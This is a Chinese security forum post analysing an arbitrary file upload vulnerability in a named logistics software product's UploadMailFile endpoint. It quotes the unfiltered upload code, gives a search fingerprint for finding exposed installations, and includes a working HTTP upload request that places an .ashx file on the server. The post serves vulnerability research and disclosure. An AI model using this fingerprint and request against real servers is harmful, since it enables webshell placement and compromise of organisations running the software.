问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析
漏洞分析
某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析
某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析 一、漏洞简介 ====== 某胜物流 /CommMng/Print/UploadMailFile 任意文件上传分析 二、影响版本 ====== d东胜物流软件 三、漏洞原理分析 ======== 根据路由首先可以看到是mvc框架`PrintController`  然后到`UploadMailFile`方法最后文件写入,基本上没有后缀的拦截  ```php [HttpPost] public ContentResult UploadMailFile() { JsonResponse jsonResponse = new JsonResponse { Success = false, Message = "" }; if (base.Request.Files.Count != 1) { jsonResponse.Success = false; jsonResponse.Message = "请选择上传的文件"; return new ContentResult { Content = JsonConvert.Serialize<JsonResponse>(jsonResponse) }; } HttpPostedFileBase httpPostedFileBase = base.Request.Files["LoadFile"]; if (httpPostedFileBase == null) { jsonResponse.Success = false; jsonResponse.Message = "上传文件发生未知错误,请重新上传"; return new ContentResult { Content = JsonConvert.Serialize<JsonResponse>(jsonResponse) }; } string text = base.Server.MapPath("../../UploadFiles/MailFile"); if (!Directory.Exists(text)) { Directory.CreateDirectory(text); } int contentLength = httpPostedFileBase.ContentLength; string fileName = Path.GetFileName(httpPostedFileBase.FileName); string text2 = base.Request.Form["bsno"]; string cookie_UserCode = CookieConfig.GetCookie_UserCode(base.Request); string text3 = string.Concat(new string[] { text, "\\", cookie_UserCode, DateTime.Now.ToString("yyyyMMddHHmmssfff"), fileName }); if (System.IO.File.Exists(text3)) { System.IO.File.Delete(text3); } httpPostedFileBase.SaveAs(text3); if (!System.IO.File.Exists(text3)) { jsonResponse.Success = false; jsonResponse.Message = "上传文件出错"; return new ContentResult { Content = JsonConvert.Serialize<JsonResponse>(jsonResponse) }; } text3 = Path.GetFileName(text3); string data = "../../UploadFiles/MailFile/" + text3; ContentResult result; try { string content = JsonConvert.Serialize(new { success = true, Message = "上传成功", data = data }); result = new ContentResult { Content = content }; } catch (Exception) { jsonResponse.Success = false; jsonResponse.Message = "上传文件出错"; result = new ContentResult { Content = JsonConvert.Serialize<JsonResponse>(jsonResponse) }; } return result; } ``` 四、环境搭建(闭源系统可提供网络测绘语法和截图) ======================== 指纹--`闭源系统` ---------- ```php body="dhtmlxcombo_whp.js" ```  五、漏洞复现 ====== ### 路由 ```php /CommMng/Print/UploadMailFile ``` ### 文件上传-exp ```php POST /CommMng/Print/UploadMailFile HTTP/1.1 Host: xxx Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 234 ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="LoadFile"; filename="1.ashx" Content-Type: application/octet-stream 12312 ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ```  六、总结 ==== 某胜物流 /CommMng/Print/UploadMailFile 任意文件上传的mvc路由,然后到`UploadMailFile`方法的无过滤都是上传成功的必要。
发表于 2025-07-24 09:40:20
阅读 ( 249 )
分类:
Web应用
0 推荐
收藏
0 条评论
请先
登录
后评论
小肥仔
2 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!